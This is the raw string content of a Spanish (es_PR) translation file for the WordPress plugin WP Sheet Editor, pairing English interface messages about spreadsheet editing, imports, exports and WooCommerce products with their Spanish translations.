                  2. You can The log file does not exist.The math formula can't be applied. We found some existing data is not numeric. Data found: %1$s, ID: %2$dThe meta field could not be deleted.The meta field was deleted successfullyThe meta key couldnt be renamed.The meta key was renamed successfullyThe option to create variations for every combination of attributes requires WooCommerce 3.0 or higher. Please update WooCommerce.The plugin will mark as used for variations all the attributes that DONT contain these keywords in the attribute key, enter multiple separated by comma. I.e. "car, airplane" would match "Car model, Car marker, Expensive Airplane, airplanes". This applies after editing a product in the spreadsheet cells.The plugin will mark as visible all the attributes that DONT contain these keywords in the attribute key, enter multiple separated by comma. I.e. "car, airplane" would match "Car model, Car marker, Expensive Airplane, airplanes". This applies after editing a product in the spreadsheet cells.The plugin will not initialize for the user roles not selected here.The preview is fine, start importThe random values could not be read.The search parameter must contain $current_value$ onlyThe selected product does not have variationsThe server could not process our request. Please try again later.The server did not accept our request. Bad request, please try refresh the page and try again.The server didn't accept our request. You don't have permission to do this action. Please log in again.The server has exceeded its allocated resources and is not able to process our request.The server is busy and took too long to respond to our request. Please try again later.The server is not available or overloaded. Do you want to try again?The server is not available or overloaded. Please try again later.The server wasn't able to process our request. Server error. Please try again later.The source product doesn't have variations.The spreadsheet automatically generates columns for serialized fields, but this can use a lot of CPU cycles depending on the number of serialized fields. You can disable this feature if the sheet is too slow to load or you get errors when loading the rows or you dont want to see columns with prefix "SEIS".The spreadsheet editor can be used to edit your WordPress %s.The spreadsheet editor is very powerful and it has a lot of features. In this step you can enable the features that you need.The spreadsheet loads only the "visible rows" for performance reasons, so when you scroll up or down the rows are loaded dynamically. This way you can "open" thousands of posts in the spreadshet and it will work fast. However, if you want to use the browser search to find a specific cell, you need to disable the lazy loading in order to load all the rows at once and the browser will be able to find the cells. The browser search doesn't work by default because only the "visible rows" are actually created.The variations are for these products: These options will be included in the export and import:This can be used if the cell value will always be a URL, so the cell will be displayed as readonly and it will contain a button that will open the URL from the cell value.This color will be used as background for the header and footer.This color will be used for the menu links, it should be the opposite of the background color. i.e. dark background with light text, or light background with dark textThis column is for parent products only, variations don't use this fieldThis column is only for variation rows, parent products don't use this fieldThis feature is available as premium extension.This format will only allow administrators with the capability unfiltered_html to save any HTML in this column, we'll still remove unsafe html tags when non-administrators save values in this column.This is only for advanced users or if our support team asks you to use this option. We have 2 ways to handle serialized fields: the old handler (used by default, which has limitations) and the infinite serialization handler (better, it is not active by default to not break previous integrations). Use this option if you have serialized fields that save incorrectly or dont appear in the spreadsheet.This is optional. Leave empty to use the name from the URLs. Enter multiple names separated by commasThis is the dynamic tag for this column. You can copy this and use it in the bulk edit toolThis logo will be displayed above the spreadsheet in the frontendThis menu will be displayed at the top right section above the spreadsheet.This might help if the spreadsheet doesnt load or it loads empty.This option allows you to indicate what posts to use as templates for specific serialized fields. Enter the field key and post ID separated with a colon. For example: serialized_key1:89, serializedkey2:90This option works only if you are importing the featured image column and saving the featured image failed.This will be displayed when the current user is not logged in and tries to see a spreadsheet page. We will display a login form after your message.This will delete the rows from your database completely and the only way to undo this change is to restore a backup. Please make a backup in case you might need to undo this later.This will disconnect your Google account from WP Sheet Editor which will stop all sync jobs configured with that Google account across all your WordPress sites. But other users can connect their own Google account, so other users' sync jobs linked to their own Google accounts will remain unaffected. Are you sure you want to disconnect your Google account completely?This will hide the "help" option in the top toolbarThis will save you {clicks_count} clicks :)Thousands separatorTime saved
                  (estimated)Time unitTinyMCE EditorTip. If you edited information from this site, you should import the columns edited and record_id. Don't import columns that weren't modifiedTip. We can help you with the spreadsheet setup. Get instant help in the live chat during business hoursTip. You can use the "export" tool to download a CSV and see the available columns and format.
                  You can read our documentation here.TitleTo search among all posts use the Search tool. Use this to locate and highlight one value in the loaded rows in the spreadsheet. I.e. highlight a SKU or email or title.Tools located above the table.Total salesTranslate separatelyTurn this on and the spreadsheet will save automatically all the changes made on the cells every 2 minutes. Careful, this might cause issues if the changes are saved prematurely before you finish editing all the required columns.TutorialTypeURLURL SlugUnfiltered HTMLUnselect allUnselect all columnsUpdate existing items, ignore new itemsUpdate existing value with the result of a math operation.
                  The result is rounded to the 2 nearest decimals. I.e. 3.845602 becomes 3.85Update settingsUpdate the lookup table and run the WC Webhooks always?Upload imageUpload the fileUpload the filesUploaded by userUploaded to this itemUpsellsUsage statsUse an infinite list instead of paginationUse as featured imageUse defaultUse pagination in the spreadsheet?Use prices from simple product (parent) on the variationsUse separate columns for images during export and import?Use slower execution method?Use this editor to edit the content only, other fields like tags and categories should be edited on the spreadsheet.Used for Variations?Used for variation?User capabilities that can edit this columnUser capabilities that can read this columnUser dropdownUser not allowedUser not allowed to edit rowsUser rolesUser roles that can use the spreadsheet editorUsernameUsersUsing this tool you can update thousands of rows at onceValueValue in the replace section is not validVariation descriptionVariation enabled?Variation: %sVariations ManagerVariations dont use URL slugs but this can be useful if you want to see the previous URL of the variation after you converted a simple product into a variation.VendorViewView ExtensionsView GalleryView SpreadsheetView SpreadsheetsView extensionsView logVirtualVisibilityWP EditorWP Sheet EditorWP Sheet Editor UsageWPBakery Page BuilderWPML - DuplicateWPML - LanguageWPML - Missing translations in these languagesWPML - RelationshipWPML - Translation ofWPML - Translation priorityWarning: Please make a backup before copying variations in case you want to undo the changes later.Watch tutorialWe are saving now. Don't close this window until the process has finished.We automatically allow columns for variations if at least one variation is using that field.We automatically detected all the columns.We automatically round up to 2 decimals. You can enter any number here, for example, 1 to round to 1 decimalWe can scan the database, find new fields, and create columns automatically for the supported fields.We didn't find rows for the export. Please try another search query.We didn't find rows to update from the search query. Please try another search query.We don't have variations to copy.We find rows with the same value in the CSV Field and the WP Field.
                  I.e. Products with same SKU or ID.We found similar columns. Do you want to apply the same action to them? {columns}We have +200 tutorials and guides on our blogWe have an extension for displaying this spreadsheet on the frontend. You can select the columns to display, and select the spreadsheet tools for the frontend users (search, bulk, edit, import, export, etc.). For example:We import the file in batches (i.e. 4 rows every few seconds). When one batch fails, we normally pause the import and ask you if you want to retry or cancel the import. Select this option to auto retry. Careful, you need to select the option to update existing rows in step 3 of the import, so we can retry and skip what was imported successfully and only retry what failed, if you dont select the option to update in step 3 of the import, every retry might duplicate some previously imported rows.We limit the list of fields to 1000 meta fields to avoid memory leaks/performance issues. If you want to search by a field that does not appear in the dropdown, increase this number.We limit the spreadsheet columns for performance reasons to avoid loading thousands of columns on the spreadsheet. You can increase this limit if you want to display more columns. Default: 310We need to reload the Spreadsheet to remove the variations. Please save your changes first or you will lose those changes. Do you want to reload now?We need to reload the spreadsheet rows to load the variations. Please save your changes first or you will lose those changes. Do you want to reload now?We recommend that you create a message that looks like it was written personally, you should add your logo, message, and email signature. You can use variables to insert the value of any column.We show a popup asking you to install free extensions when we detect that you are using a third-party plugin that requires special compatibility, which helps us prevent errors.We use pagination to use few server resources. We load 20 rows first and load 20 more every time you scroll down. You can increase this number to load more rows per page. CAREFUL. Loading more than 200 rows per page might overload your server. If we detect that the server is overloaded we will automatically reset to 10 rows per page.We use pagination. By default we load 20 rows per page (every time you scroll down). You can increase the number to load more rows every time you scroll down.We will append the new file to the existing files in the products. Enter file URL only, you can enter multiple URLs separated by comma.We will append the new file(s) to the existing media file(s).We will create columns for these custom attributes.We will delete this meta field from the database and you will lose the values saved in this field on all the rows. You should make a backup to be able to restore in the future. Do you want to continue with the deletion?We will delete this serialized field, which includes all its subfields, from the database and you will lose the values saved in this field on all the rows. You should make a backup to be able to restore in the future. Do you want to continue with the deletion?We will display all the columns that were deleted or disabled, renamed columns will show the original titles, we will rescan the database to find columns again, and the speed/advanced settings will be reset to the defaults. This only affects settings of our plugin and it does not affect the data edited with the sheet.We will not execute our removal of duplicate rows when the line breaks are allowed, so you might see duplicate rows in the export files in rare cases.We will prepend the new file(s) to the existing media file(s).We will remove all the html tags by default. Activate this option to allow safe html tags, like b, span, i, etcWe will replace the existing media file with this file.We will replace the existing media file(s) with these file(s).We will replace the existing terms with these terms.We will save the current search query and export settings, and you can execute this export with one click in the future using the dropdown in the export menuWe will save these files. Existing files will be overwritten. Enter file URL only, you can enter multiple URLs separated by comma.We will save this group of columns as a spreadsheet view and you can switch between spreadsheets in the toolbarWe'll reload the spreadsheet when you change this option.We'll sort the rows in the spreadsheet by this field. We recommend you sort based on fields that have values in all the rows in order to get more accurate results. For example, it's better to sort 1k products by Title ASC because you know that all the rows will be sorted accurately, but if you sort 1k rows by SKU, the 500 rows with SKU will be sorted correctly but the 500 rows without SKU could potentially have random order as we don't have any value to sort them accurately.WeeksWeightWelcome to WP Sheet EditorWhat app will you use to edit this file? (optional)What attribute do you want to edit?What cell format to use for the taxonomy columns?What columns do you want to export?What component do you need?What date format do you want to display in the spreadsheet?What date format do you want to save in the database?What date time format do you want to display in the spreadsheet?What field do you want to edit?What information do you want to edit on the frontend?What kind of posts require this column in the spreadsheet?What setting do you want to change?What value is saved when the checkbox is checked?What value is saved when the checkbox is unchecked?What's new on WP Sheet EditorWhen the sheet loads and saves post content, we run it through wpautop to prevent issues with line breaks. You can disable this if you dont want to see/save the p tags in the content.When the sheet loads, we open it in full screen and you have the option to exit the full screen mode. Activate this option and we wont open the sheet in full screen.When this is enabled more items will be loaded to the bottom of the spreadsheet when you reach the end of the pageWhen this is enabled more items will be loaded to the bottom of the spreadsheet when you reach the end of the page. You can enable / disable in the spreadsheet too.When this is enabled the products variations will be displayed and you will be able to edit them.When you delete posts, pages, events, products, orders, coupons, and other post types, you can select how many will be deleted on every batch. Use a higher number to finish faster. Default is 500When you edit a large amount of posts in the spreadsheet editor we can't save all the changes at once, so we do it in batches. But your server can't handle all the batches one after another so we need to wait a few seconds after every batch to give your server a little break. The recommended value is 6 seconds, you can adjust it as it works best for you. If you get errors when saving you should increase the number to give your server a longer break after each batchWhen you edit a large amount of posts in the spreadsheet editor we can't save all the changes at once, so we do it in batches. The recommended value is 4 , which means we will process only 4 posts at once. You can adjust it as it works best for you. If you get errors when saving you should lower the numberWhen you finish downloading the plugins, you need to go to wp-admin > plugins > add new and install them.When you finish this step you can start using the frontend editor. You can add the frontend page to a menu or share the link with your users.When you have 1000 posts , you might want to open the spreadsheet and start editing from post 200. This option lets you skip a lot of rows. IMPORTANT. We use the pagination, so we will display the page closest to that number. For example. If you load 10 rows per page and enter 1205 as offset, the sheet will start from page 120 (index 1200) because it is the page closest to the defined offset.When you import an image using FTP urls, the image is imported every time and you might end up with duplicates in the media library. Activate this option to reuse images in the media library with same file name and avoid downloading the FTP image again on future imports. Deactivate this option if you want to keep the images updated on future imports.When you load the spreadsheet, we get all the columns at once from the database to make it faster, this is called prefetch. This can cause issues if you have thousands of columns or rare database setups.When you open the spreadsheet, we load the rows automatically so you can start editing right away. Activate this option if you want to search rows and load manually.When you use WordPress multisite and you delete a user in the users spreadsheet, by default we only remove the user from the current site but the user remains in the network. Activate this option if you want to delete the user account from the entire networkWhich duplicates do you want to delete?Which rows do you want to export?Which variations do you want to copy?WidthWith our editor you will be able to edit all the information of
                  your %s saving you a lot of time.With these filesWith thisWith this fileWith this termWooCommerce - BASIC integrationWooCommerce - Products IntegrationWooCommerce CouponsWooCommerce Coupons SpreadsheetWooCommerce Customers SpreadsheetWooCommerce Orders SpreadsheetWooCommerce productsWordPress FieldWordPress fieldWordPress uses the heartbeat API to check the login status every few seconds. This can overload your server because it could make hundreds of requests when you are editing in the spreadsheet. You can disable it to reduce the stress on your server while editing in the sheet. However, if you keep the spreadsheet opened over multiple days your login session can expire and you wont be notified if you disable the heartbeat and this can cause issues while saving. So use this option only when you use the spreadsheet for a few hours only.Writing type not allowed.Wrong data formatWrong file extension. We accept CSV onlyWrong file urlWrong product type. Make sure it is a variable product.XYOAST SEOYearsYesYes, remove everything after the text, including the textYou are not allowed to do this action. Please reload the page or log in again.You can activate this option if you want to add html classes, and use those html classes to change the cell colors for each status using custom CSSYou can change the language of this post. If the translation for the new language exists, this change will not be applied.You can convert simple products into variable products. You can copy variations into a simple product and keep the prices from the simple product on the variations.You can create new items hereYou can do this multiple timesYou can edit your Media information like:You can edit your WooCommerce products information like:You can find all the settings here, like columns visibility, etc.You can read our FAQ with a list of hundreds of questionsYou can resize the editorYou can search by any field using operators. I.e. price > 100, image != (empty)You can select the rows for the edit in the first option of this form.You can start using the spreadsheet editor in just 5 minutes. Please follow these steps.You can use variables to insert the value of any column.You do not have permission to delete posts.You dont have enough permissions to create new rows.You dont have enough permissions to do this action.You dont have enough permissions to execute this action.You dont have enough permissions to load rows.You dont have enough permissions to save changes.You dont have enough permissions to search taxonomy terms.You dont have enough permissions to view this page.You entered an invalid formula. Please double check or contact us.You have modified posts. Please save the changes because we will refresh the spreadsheet.You have modified posts. Please save the changes because we will refresh the spreadsheet. Do you want to refresh now?You have modified rows. Please save the changes before removing columns from the spreadsheet.You must enter a file name in this field (not full path) and upload the file to the folder %sYou must enter the full hierarchy like parent > childYou need to configure your Google Maps API key to save the Google Maps columns. This is required by Advanced Custom Fields, you can follow this tutorialYou need to load the rows manually because you deactivated the automatic loading of rows. Change the settingsYou need to login to view this page.You need to set a logo in the settings page. Optionally you can change the background color, links color, and set a header menu.You selected 0 rows to be deleted completely.You selected a column from the CSV file below but the column is not
                  being imported. Please go to the previous step and select the column to be imported.
                  Hypothetical example, if you want to update existing products with same ID, you need to import the ID column otherwise we don't have the IDs to find them.You will be able to type numbers without formatting, for example: 999999.88 or 100, and we will automatically save them in the formatted way. This conversion will happen when you save and not live when you edit in the cells and you will see the modified values on the next spreadsheet reload.You will be able to type the post title in the cell and the cell will show a dropdown with suggestions.You will be able to type the term name in the cell and the cell will show a dropdown with suggestions.You will be able to type the username in the cell and the cell will show a dropdown with suggestions.Your server was not able to process this batch. Do you want to try again?Your server was not able to process this batch. Do you want to try again? You can retry 3 times, If 3 attempts fail we will stop the import completely.emptyis featured?orto{deleted} duplicates have been removed.{total_created} of {total} variations created.{updated} attributes have been merged.{updated} items saved of {total} items that need saving.Project-Id-Version: Report-Msgid-Bugs-To: PO-Revision-Date: 2023-07-19 13:16-0600 Last-Translator: Language-Team: Language: es_PR MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Plural-Forms: nplurals=2; plural=(n != 1); X-Generator: Poedit 3.3.1 (Puedes remover estos mensajes de ayuda en los ajustes avanzados) (Premium. Probar Gratis por 7 Días ) Si no se inicia automáticamente, puedes encontrar el archivo en la carpeta /wp-content/uploads/wp-sheet-editor/exports/ en tu servidor.

                  Los archivos de exportación se borran automáticamente después de %d horas. Algunas columnas tienen el botón para cambiar el formato%1$d de %2$d filas se han procesado desde el archivo. {total_updated} filas actualizadas y {total_created} filas creadas.%s filas serán editadas.%s variaciones creadas.%s: Hojas de cálculo permitidas(Instalar extensión gratuita)(Extensión Pro)- -- Primero, edita un elemento en el editor normal y rellena todos los campos manualmente.- Si la solución anterior falló, puedes crear nuevas columnas manualmente.- Quizá eliminaste las columnas de la lista.- Podemos ayudarte.- Podemos escanear la base de datos, encontrar nuevos campos y crear columnas automáticamente. Versión Lite. Mostrando todos los productos y todos los campos como columnas, 15 columnas son editables y el resto son sólo de lectura.
                  Actualizar: Editar en Excel/Google Sheets, exportar, importar, editar todos los campos en miles de productos a la vez.. Actualizar: Exportar, importar, editar en Excel o Google Sheets; editar miles de filas a la vez, editar todos los campos de otros plugins, y más. Actualizar y Ahorrar Días de Trabajo. Agrega categorías hijas usando este formato: Padre > hija1 > hija2. Recomendamos que incrementes la memoria del servidor al menos hasta 256mb para prevenir errores del servidor. Tutorial...1. ¿Estamos leyendo bien el archivo? Aquí hay una vista previa de las primeras 5 filas del archivo.2. Por favor, haz una copia de seguridad antes de ejecutar la importación, para que puedas revertirla en caso de que hayas usado una configuración incorrecta o el archivo sea erróneo. La importación guardará la información directamente.Leer más.Editando el campo: {field_label}Garantía de devolución de dinero. Compra el plugin sin preocupaciones . Te haremos un reembolso si el plugin no funciona.Sugerencia de WP Sheet Editor: Editar miles de categorías a la vez, hacer búsquedas avanzadas, ver toda la información en una página, y más.Consejo de WP Sheet Editor:Puedes ver todos los usuarios en una tabla, ver miles de perfiles completos, editar cientos de usuarios a la vez sin colapsar tu servidor, ver toda la información de envío/facturación/buddypress. Realizar búsquedas avanzadas, crear cientos de usuarios y mucho más. Descargar el Plugin Consejo de WP Sheet Editor: Puedes ver y editar las variaciones de productos en una hoja de cálculo, realizar búsquedas avanzadas, editar cientos de variaciones a la vez, copiar variaciones a varios productos, etc. Descargar PluginConsejo: ¿La ejecución de la fórmula es demasiado lenta? Guarda más filas por lote
                  ¿Obtienes errores al ejecutar la fórmula? Guarda menos filas por lote Consejo: ¿El guardado es demasiado lento? Guardar más filas por lote
                  ¿Obtienes errores al guardar? Guardar menos filas por loteWP Sheet Editor: Puedes ver todas estas variaciones y editarlas todas a la vez en nuestra hoja de cálculo. Abrir en una hoja de cálculo
                  Usar el cupón: %s

                  La exportación finalizó.

                  La descarga debería empezar automáticamente.

                  WP Sheet Editor

                  ¿Quieres instalar el plugin premium que compraste? Sigue estos pasos:

                  1. Si estabas usando la versión gratuita del plugin antes de la compra, necesita desinstalar la versión gratuita ahora.
                  2. Cuando compraste el plugin, recibiste un correo electrónico con el enlace de descarga y la clave de licencia.
                  3. ahora ve a esta página y haz clic en el botón "Subir plugin".
                  4. Sube el archivo zip del plugin.
                  5. Activa el plugin.
                  6. Verás una pantalla solicitándote la licencia. Ingresa la licencia.
                  7. Listo. Ahora deberías ver la página de bienvenida donde puedes configurar y comenzar a usar el plugin.

                  Si necesitas ayuda, puedes contactarnos

                  ¿Falta una columna?

                  o
                • El rol de administrador de tienda puede ver y editar productos WooCommerce.
                • Añadir una herramienta de "duplicar" a la hoja de cálculo. Puedes seleccionar una fila (entrada, producto, cupón, etc.) y crear muchas copias.

                  Ejemplo: Crear 100 productos con las mismas etiquetas, dimensiones, atributos y variaciones. Y sólo cambiar un par de campos manualmente.

                  Los campos creados con el plugin Advanced Custom Fields aparecen en la hoja de cálculo automáticamente. Así que puedes editar campos personalizados fácilmente.

                  Crea nuevas hojas de cálculo con columnas personalizadas y comparte las hojas de cálculo con tus usuarios o empleados en el frontend. Es útil para los mercados donde los vendedores deben editar los productos en la hoja de cálculo, permitir el envío de entradas o eventos en el frontend, directorios de eventos, aplicaciones web, tableros personalizados, etc.

                  Editar cientos de entradas a la vez con unos pocos clics. Buscar y reemplazar. Reemplazar URLs y frases. Guardar valores en campos masivamente. Copiar valores entre campos. Combinar campos. Y mucho más.

                  Ejemplos: Copiar el precio normal al precio de rebajado, actualizar los nombres de los atributos de los productos, etc.

                  Editar cientos de entradas a la vez. Actualizar campos numéricos usando fórmulas matemáticas avanzadas. Por ejemplo, aumentar los precios en un 10%, gestionar el inventario, etc. Ejecutar cualquier fórmula matemática.

                  Puedes utilizar varios campos en la fórmula. Por ejemplo, "Precio normal x Precio de inventario / Precio rebajado

                  Editar el título, la descripción, la palabra clave y la puntuación de SEO en la hoja de cálculo

                  Editar productos de WooCommerce en la hoja de cálculo. Soporta todo tipo de productos, incluyendo Productos Variables, Productos Descargables, Productos Externos, Productos Simples. Puedes editar todos los campos de productos en la hoja de cálculo, incluyendo atributos, imágenes, etc.

                  Editar usuarios de WordPress en una hoja de cálculo, editar sólo perfiles básicos y realizar búsquedas básicas.

                  Editar usuarios de WordPress en una hoja de cálculo. Editar perfiles de usuario COMPLETOS, incluyendo campos personalizados. Agregar nuevas columnas a la hoja de cálculo. Es excelente para tiendas ecommerce, sitios de membresía, directorios de eventos, directorios de negocios, directorios de usuarios.

                  Editar campos de entradas por defecto en una hoja de cálculo.

                  Editar menús de restaurantes, cursos, proyectos, portafolios, y todos los post types personalizados.

                  Buscar entradas por palabra clave, taxonomías, autor, fecha, estado o campos personalizados.

                  Buscar en múltiples campos con operadores avanzados: =, !=, <, >, LIKE, NOT LIKE

                  Ejemplos: Encontrar productos de la categoría Audio con inventario < 20, o productos de la categoría Manzana sin imagen destacada, o productos que contengan la palabra clave "Google" y que no tengan galerías de imágenes.

                  Es la mejor manera de gestionar tus comentarios, las valoraciones de los clientes de WooCommerce, los comentarios de los eventos, los testimonios y las notas de pedido en una hoja de cálculo. Puedes hacer búsquedas avanzadas por cualquier campo (palabra clave, nota de pedido, estado, encontrar comentarios por post type, y todos los campos). Puedes editarlos masivamente, borrarlos todos a la vez, exportarlos a Excel o a sistemas externos, importar comentarios y reseñas de otros sistemas, y más.

                  Una hoja de cálculo para cada tabla personalizada encontrada en tu base de datos, incluyendo tablas agregadas por otros plugins. Edita en vivo. Haz ediciones masivas en miles de filas. Haz búsquedas avanzadas. Exporta. Importar. Eliminar filas en lotes. Y mucho más.

                  Una hoja de cálculo para categorías, etiquetas, atributos de productos, categorías de eventos, categorías de portafolios, etiquetas inmobiliarias, etc. Ver y editar todos los ítems en un solo lugar. Copiar y pegar. Subir imágenes de categorías rápidamente. Agregar descripciones. Edita el SEO. Y mucho más.

                  Puedes cambiar el tamaño de las columnas en la hoja de cálculo y guardarlo para sesiones futuras.

                  Buscar en la hoja de cálculo. Buscar filas por palabra clave, estado y autor.

                  Ver los cupones de WooCommerce en una hoja de cálculo. Editar todos los campos de cupones. Búsqueda avanzada por cualquier campo. Generar automáticamente cientos de cupones. Actualizar cientos de cupones a la vez. Y mucho más.

                  Ver todas las descargas de Easy Digital Downloads en una hoja de cálculo. Crear descargas y archivos masivamente. Editar cientos de productos a la vez usando fórmulas. Búsquedas avanzadas usando múltiples campos. Y mucho más.

                  Ver todos los eventos del plugin The Events Calendar en una hoja de cálculo. Crear eventos masivamente. Editar cientos de eventos a la vez usando fórmulas. Búsquedas avanzadas usando múltiples campos de eventos. Y mucho más.

                  Ver el perfil completo de todos tus clientes de WooCommerce en una hoja de cálculo. Editar perfiles rápidamente. Ver y editar la información de facturación y envío. Realizar búsquedas avanzadas de perfiles de clientes. Exportar clientes a Excel o Google Sheets. Importar clientes desde aplicaciones externas.

                  Ver y despachar todos los pedidos rápidamente. Búsqueda avanzada por cualquier campo (método de envío, impuestos, IVA, métodos de pago, clientes, productos, etc.). Exportar pedidos e información de clientes incluyendo clientes invitados. Editar miles de pedidos rápidamente. Y mucho más.

                  Ver los archivos de imagen, vídeo y todos los archivos de la Biblioteca de medios de WordPress en una hoja de cálculo. Editar todos los campos de los archivos, incluyendo el texto alternativo, la leyenda, las descripciones de los archivos. Hacer búsquedas avanzadas por cualquier campo. Generar de manera automática los textos alternativos, las leyendas, etc. usando el título o las categorías de las entradas principales. Actualizar miles de archivos a la vez. Y mucho más.

                  Puedes rellenar automáticamente las celdas (copiar) arrastrando la esquina de la celda a otras celdas, como lo haces en Excel.

                  Puedes crear columnas para campos personalizados.
                  Editar la configuración de la página añadida por el tema, los detalles del evento, la información de los productos, etc.

                  Puedes cambiar el nombre de las columnas de la hoja de cálculo. En lugar de mostrar "Autor" en la hoja de cálculo, puedes cambiarlo a "Subido por".

                  Puedes mostrar, ocultar y cambiar el orden de las columnas en la hoja de cálculo.

                  Editando el campo: {column_label}. Filas a procesar: {total}, Progreso: {progress_percentage}%%, Hemos actualizado {edited} filas.

                  1- Por favor, haz una copia de seguridad de tu base de datos antes de ejecutar. Los cambios no son reversibles.

                  2- Asegúrate de que los ajustes de la edición masiva son correctos antes de ejecutar.

                  Completo

                  .

                  Extensiones gratuitas

                  Envía notificaciones por correo electrónico a los usuarios de forma masiva, y crea segmentos avanzados utilizando la búsqueda avanzada.

                  Por ejemplo, puedes filtrar una hoja de cálculo de clientes/usuarios/miembros de un foro/afiliados/comentaristas del blog por país, ciudad, estado, recuento de pedidos, etc., y enviarles correos electrónicos importantes.

                  Te recomendamos que utilices un plugin SMTP para mejorar la entrega de los correos electrónicos y tener en cuenta el consentimiento de los usuarios y las leyes de privacidad.

                  El guardado automático falló. Tus cambios no se guardaron completamente debido a un error. Puedes intentarlo de nuevo más tarde. Si el error persiste, contacta a nuestro equipo de soporte y mantén esta pestaña abierta.

                  El cambio masivo ha sido programado. Puedes cerrar esta ventana emergente. Ver los cambios masivos programados.

                  El cambio masivo no se aplicó completamente. El proceso fue cancelado debido a un error.

                  Puedes cerrar esta ventana.

                  Los cambios han sido programados. Puedes cerrar esta ventana emergente. Ver los cambios programados.

                  Los cambios no se guardaron completamente. El proceso fue cancelado debido a un error .

                  Puedes cerrar esta ventana emergente.

                  La exportación se ha programado. Puedes cerrar esta ventana emergente. Ver las exportaciones programadas.

                  La importación ha sido programada. Puedes cerrar esta ventana emergente. Ver las importaciones programadas.

                  La importación ha terminado

                  Puedes cerrar esta ventana.

                  El proceso ha terminado

                  Hojas de cálculo para gestionar Formularios de Donación, Donaciones y Donantes del plugin GiveWP. Puedes editar en masa, exportar, importar y gestionar rápidamente tu sitio web de donaciones.

                  Sólo puedes editar productos simples. Columnas disponibles: título, URL, descripción, fecha, SKU, precio normal, precio rebajado, estado de inventario, gestión del inventario, cantidad de existencias.

                  Más columnas y tipos de producto disponibles como extensión premium.

                  ¿Merecemos 5 estrellas? Sí, lo merecen. . - . No¿Falta una columna?¿Falta una columna? Habilítala ¿Faltan campos? Haz clic aquíACF: ¿Mostrar las casillas de verificación como desplegados de selección múltiple?Aceptar posts de este post typeAceptar términos de esta taxonomíaAcciónActivar el modo de pantalla completaActiva esta opción para eliminar los botones de paginación y cargar las filas automáticamente cuando te desplazas hacia abajo. Verás todas las filas al mismo tiempo, puedes cargar miles de filas sin problemas.Filtros activos:Activo.Añadir NuevoAgregar nuevas columnas a la hoja de cálculoAgregar Nueva Hoja de CálculoAgrega un nombre para este grupo de columnasAñadir una llamada a la acción o cualquier texto al principio o al final de tus postsAñadir columnas nuevas para campos personalizadosAgrega horas, días, semanas, meses, o años a las fechas existentes.
                  Si la fecha existente está vacía, usaremos la fecha actual como base.¿Añadir clases html a las celdas " estado de la entrada " en función de sus valores?Añadir nuevoAñadir nueva columnaAñadir un nuevo post typeAgregar tiempo a las fechas existentesEl rol de administrador puede ver y editar todo.Advanced Custom FieldsBúsqueda AvanzadaAjustes AvanzadosModo avanzadoBúsqueda avanzadaConfiguración avanzadaTodas las Hojas de CálculoTodos los cambios fueron guardados.Se han guardado todos los elementos.Todas las funciones disponibles en la hoja de cálculo del backend pueden utilizarse en el frontend.Todos los parámetros se utilizarán para buscar variaciones en lugar de los productos principales.Todos los productos de la tiendaTodas las filas de mi lista actualTodos los productos variablesPermitirPermitir reservasPermitir saltos de línea en valores al exportar e importar?¿Permitir varios archivos por campo?¿Permitir varios posts por campo?¿Permitir varios términos por campo?Permitir HTML seguro en títulos de posts?¿Permitir editar esta columna en las filas de variaciones?¿Permitir editar usando fórmulas?¿Permitir ocultar la columna?¿Permitir ocultar esta columna en la página de ajustes?¿Permitir la importación de imágenes desde servidores FTP?¿Permitir renombrar la columna en la página de ajustes?¿Permitir renombrar la columna?¿Permitir ver el slug de la URL de la variación?¿Permitir a los usuarios con la capacidad unfiltered_html guardar cualquier html en la columna de contenido del post?Permitir a los usuarios editar campos personalizados, añadir nuevas columnas al editor, habilitar campos, deshabilitar campos principales y ordenar los campos. Puedes personalizar completamente el editor frontend.Permite a tus clientes editar productos WooCommerce usando la hoja de cálculo sin tener que usar el escritorio de wp-adminPermite a los vendedores de tu mercado editar los productos masivamentePermite a los vendedores de tu mercado importar productos en el frontendPermite que tus lectores entreguen entradas del blog usando la hoja de cálculoPermite a los compradores de tu tienda descargar el catálogoPermite a los clientes de tu tienda realizar búsquedas avanzadas en el catálogo Permite a los empleados de tu tienda gestionar el inventario y los preciosPermite a tus visitantes publicar eventosPermitir, pero se avisará al clienteValores permitidosDescargadaTexto alternativo¿Ejecutar siempre la acción save_post después de editar cualquier fila de la entrada?Y más.Y ver vistas previas durante la ediciónCualquiera de estos valores (Ingresa múltiples valores separados por ;)Añadir al finalAplicación/SoftwareAplicar cambios masivamenteAplicar ajustes¿Seguro de que quieres borrar este post type? También borrarás los post en el post type¿Estás seguro de que quieres borrar esta columna?¿Estás seguro de que quieres eliminar esta vista de columnas?¿Estás seguro de que quieres eliminar esta tarea programada y todos sus archivos relacionados?¿Acoplar cada término de taxonomía de la jerarquía a los posts?Atributo %d por defectoAtributo %d globalNombre del atributo %dValor del/los atributo(s) %dAtributo %d visibleNombre del atributoValor(es) del atributoVisibilidad del atributoAtributosLos atributos aparecen como desplegables en la página del producto, donde el usuario puede seleccionar los colores, tamaños y cualquier atributo de la variación. Aquí se pueden definir las opciones por defecto seleccionadas en los desplegables.
                  Separa los valores con el caracter %s
                  Esto solo funciona para Productos Variables y deben tener variaciones, de lo contrario los atributos por defecto no se guardarán.AutorEl rol de autor sólo puede ver y editar sus propios post y subir imágenes.Automático (por defecto)¿Reintentar automáticamente los lotes fallidos?Autocompletar las celdasAutomáticoComponentes disponiblesHojas de cálculo disponiblesHerramientas disponibles (opcional)Puntuación mediaBackend¿Permitir reservas?Compatibilidad con versiones anteriores. Este ajuste se eliminará en futuras actualizaciones.Búsqueda básicaPoner estas columnas en la lista negraMasivoEditor MasivoFunción de cambios masivosAcciones masivasEditar esta columna masivamenteCambio masivo no ejecutado. No se han encontrado elementos que cumplan los criterios.ComprarComprar el paquete¡Compra la extensión ahora!Por defecto, WordPress muestra una barra negra en la parte superior de la página cuando un usuario que ha iniciado sesión ve una página del frontend. La barra te permite acceder a wp-admin, cerrar sesión, editar la página actual, etc. Si habilitas esta opción, ocultaremos esa barra y podrás usar el código abreviado: [vg_display_logout_link] para mostrar el enlace de cierre de sesión.Por defecto, las fechas se muestran en un calendario, el contenido del post tiene una opción de editor de texto, las imágenes muestran una vista previa, etc. Puedes habilitar esta opción para que se muestre todo como texto sin formato y deshabilitar el formato elegante.Por defecto mostramos automáticamente columnas para todos los nuevos campos encontrados, así que cada vez que detectamos nuevos campos puedes verlos y editarlos inmediatamente. Pero esto puede "romper" tu orden de columnas o molestarte si has habilitado columnas específicas. Habilita 